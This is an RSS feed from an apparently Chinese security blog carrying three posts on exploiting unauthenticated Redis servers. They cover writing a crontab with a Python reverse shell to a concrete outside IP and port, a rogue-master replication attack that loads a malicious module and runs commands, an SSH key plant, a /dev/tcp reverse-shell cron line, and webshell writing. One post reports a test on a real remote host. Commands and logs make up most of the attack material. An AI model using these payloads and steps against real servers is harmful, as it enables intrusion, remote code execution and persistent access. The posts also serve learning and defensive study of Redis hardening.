<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>redis &#8211; ChaBug安全</title>
	<atom:link href="/tags/redis/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:27:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Redis 基于主从复制的 RCE 利用方式</title>
		<link>/web/669.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 10 Jul 2019 04:40:15 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[redis]]></category>
		<guid isPermaLink="false">/?p=669</guid>

					<description><![CDATA[作者：LoRexxar&#8217;@知道创宇404实验室 全文转载https://paper.seebug.org/975/ 在2019年7月7日结束的WCTF2019 Fina...]]></description>
										<content:encoded><![CDATA[<p>作者：LoRexxar&#8217;@知道创宇404实验室 全文转载https://paper.seebug.org/975/</p>
<p>在2019年7月7日结束的WCTF2019 Final上，LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于<span class="wpcom_tag_link"><a href="/tags/redis" title="redis" target="_blank">redis</a></span>新版本的RCE利用方式，比起以前的利用方式来说，这种利用方式更为通用，危害也更大，下面就让我们从以前的redis RCE利用方式出发，一起聊聊关于redis的利用问题。</p>
<p>https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf</p>
<h2>通过写入文件 GetShell</h2>
<p>未授权的redis会导致GetShell，可以说已经是众所周知的了。</p>
<pre><code class="language-bash ">127.0.0.1:6379&gt; config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379&gt; config set dbfilename root
OK
127.0.0.1:6379&gt; get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379&gt; save
OK
</code></pre>
<p>而这种方式是通过写文件来完成GetShell的，这种方式的主要问题在于，redis保存的数据并不是简单的json或者是csv，所以写入的文件都会有大量的无用数据，形似</p>
<pre><code class="language-python ">[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]
</code></pre>
<p>这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性，再加上crontab和ssh服务可以说是服务器的标准的服务，所以在以前，这种通过写入文件的<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>方式基本就可以说是很通杀了。</p>
<p>但随着现代的服务部署方式的不断发展，组件化成了不可逃避的大趋势，docker就是这股风潮下的产物之一，而在这种部署模式下，一个单一的容器中不会有除redis以外的任何服务存在，包括ssh和crontab，再加上权限的严格控制，只靠写文件就很难再getshell了，在这种情况下，我们就需要其他的利用手段了。</p>
<h2>通过主从复制 GetShell</h2>
<p>在介绍这种利用方式之前，首先我们需要介绍一下什么是主从复制和redis的模块。</p>
<h3>Redis主从复制</h3>
<p>Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。</p>
<p>这里我们开两台docker来做测试</p>
<pre><code class="language-docker ">ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3fdb2479af9c        redis:5.0           "docker-entrypoint.s…"   22 hours ago        Up 4 seconds        0.0.0.0:6380-&gt;6379/tcp   epic_khorana
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   23 hours ago        Up 23 hours         0.0.0.0:6379-&gt;6379/tcp   vibrant_hodgkin
</code></pre>
<p>然后通过slaveof可以设置主从状态</p>
<p><a href="https://ae01.alicdn.com/kf/UTB8waPUwMnJXKJkSael760UzXXaP.png"><img src="https://ae01.alicdn.com/kf/UTB8waPUwMnJXKJkSael760UzXXaP.png" alt="38475ec3-1fb1-488d-ab38-55f84c7b51c6.png" /></a></p>
<p>这样一来数据就会自动同步了</p>
<h3>Redis模块</h3>
<p>在了解了主从同步之后，我们还需要对redis的模块有所了解。</p>
<p>在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。</p>
<p>编写恶意so文件的代码</p>
<p>https://github.com/RicterZ/RedisModules-ExecuteCommand</p>
<h3>利用原理</h3>
<p>Pavel Toporkov在2018年的zeronights会议上，分享了关于这个漏洞的详细原理。</p>
<p>https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf</p>
<p>在ppt中提到，在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。</p>
<p>然后在从机上加载so文件，我们就可以执行拓展的新命令了。</p>
<h3>复现过程</h3>
<p>这里我们选择使用模拟的恶意服务端来作为主机，并模拟fullresync请求。</p>
<p>https://github.com/LoRexxar/redis-rogue-server</p>
<p>然后启用redis 5.0的docker</p>
<pre><code class="language-docker ">ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   25 hours ago        Up 25 hours         0.0.0.0:6379-&gt;6379/tcp   vibrant_hodgkin
</code></pre>
<p>为了能够更清晰的看到效果，这里我们把从服务端执行完成后删除的部分暂时注释掉。</p>
<p>然后直接通过脚本来攻击服务端</p>
<pre><code class="language-bash ">ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[&lt;-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[-&gt;] b'+OK\r\n'
[&lt;-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[-&gt;] b'+OK\r\n'
[-&gt;] b'*1\r\n$4\r\nPING\r\n'
[&lt;-] b'+PONG\r\n'
[-&gt;] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[&lt;-] b'+OK\r\n'
[-&gt;] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[&lt;-] b'+OK\r\n'
[-&gt;] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[&lt;-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[&lt;-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[-&gt;] b'+OK\r\n'
[&lt;-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[-&gt;] b'+OK\r\n'
</code></pre>
<p>然后我们链接上去就可以执行命令</p>
<pre><code class="language-bash ">ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379&gt; system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379&gt; system.exec "whoami"
"\bredis\n"
</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[小东]6月份作业之redis未授权漏洞利用</title>
		<link>/web/435.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 24 Jun 2018 05:41:15 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[redis]]></category>
		<guid isPermaLink="false">/?p=398</guid>

					<description><![CDATA[偶然发现某大佬博客说了一下Redis的漏洞，便整理了一下笔记，并做了实战测试 0x00 笔记 1.写入webshell dir=绝对路径 dbfilename="1.php" 2....]]></description>
										<content:encoded><![CDATA[<blockquote><p>偶然发现某大佬博客说了一下Redis的漏洞，便整理了一下笔记，并做了实战测试</p></blockquote>
<h1>0x00 笔记</h1>
<pre class="lang:default decode:true ">1.写入webshell
dir=绝对路径
dbfilename="1.php"

2.写入ssh公钥匙
本机生成公钥 sshssh-keygen -t rsa -C "test@test"
dir=/root/.ssh/
dbfilename=authorized_keys

\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n

3.写入定时任务，反弹shell
dir=/var/spool/cron
dbfilename=root
set crack "\n\n*/1 * * * * /bin/bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1\n\n"</pre>
<p>&nbsp;</p>
<p>________________________________________</p>
<h1>
0x01 实战测试</h1>
<p>使用<span class="wpcom_tag_link"><a href="/tags/redis" title="redis" target="_blank">redis</a></span>k客户端链接远程主机6379端口</p>
<pre class="lang:default decode:true ">redis-cli -h xxx.xxx.xxx.xxx -p 6379</pre>
<p><a href="https://ww2.sinaimg.cn/large/a15b4afegy1fpg48hb3l4j20js08hmx5.jpg"><img loading="lazy" class="aligncenter size-medium" src="https://ww2.sinaimg.cn/large/a15b4afegy1fpg48hb3l4j20js08hmx5.jpg" width="712" height="305" /></a></p>
<p>IP打码了（这码打得不错吧）<br />
拿WEBSHELL过程：</p>
<pre class="lang:default decode:true ">config set dir 网站绝对路径
config set dbfilename info.php //设置info.php为备份文件
set web '' //写入一句话到info.php
save //保存，然后即可通过菜刀url链接info.php即可</pre>
<p>&nbsp;</p>
<p>最后Getshell：<a href="https://ww2.sinaimg.cn/large/a15b4afegy1fpg4eaw0n4j20ma0e3t9b.jpg"><img loading="lazy" class="aligncenter size-medium" src="https://ww2.sinaimg.cn/large/a15b4afegy1fpg4eaw0n4j20ma0e3t9b.jpg" width="802" height="507" /></a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>redis 未授权 getshell</title>
		<link>/web/369.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 06 Mar 2018 09:19:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[redis]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[未授权]]></category>
		<guid isPermaLink="false">/?p=273</guid>

					<description><![CDATA[开学了，文章更新会慢，见谅。 @X1r0z原文 利用 redis 获取 webshell 端口 6379 server telnet 连接 redis 配置里有 dir 和 dbf...]]></description>
										<content:encoded><![CDATA[<blockquote><p>开学了，文章更新会慢，见谅。<br />
<a href="https://exp10it.cn/index.php/archives/1052/">@X1r0z原文</a></p></blockquote>
<p>利用 <span class="wpcom_tag_link"><a href="/tags/redis" title="redis" target="_blank">redis</a></span> 获取 web<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span></p>
<p>端口 6379</p>
<p>server<br />
<img title="1.jpg" src="/wp-content/uploads/2018/03/1863303020.jpg" alt="1.jpg" /><br />
telnet 连接</p>
<p>redis 配置里有 dir 和 dbfilename</p>
<p>dir 存储路径 dbfilename 存储文件名<br />
<img title="2.jpg" src="/wp-content/uploads/2018/03/3775888799.jpg" alt="2.jpg" /><br />
save 保存<br />
<img title="3.jpg" src="/wp-content/uploads/2018/03/2062167655.jpg" alt="3.jpg" /><br />
写 webshell</p>
<p>config set dir 路径<br />
config dbfilename 文件名<br />
set web 内容<br />
save<br />
<img title="4.jpg" src="/wp-content/uploads/2018/03/1393395390.jpg" alt="4.jpg" /><br />
访问 info.php<br />
<img title="5.jpg" src="/wp-content/uploads/2018/03/230823239.jpg" alt="5.jpg" /><br />
另外 config set 不存在的 dir 会报错<br />
<img title="6.jpg" src="/wp-content/uploads/2018/03/184389156.jpg" alt="6.jpg" /><br />
可以写个脚本爆破路径</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
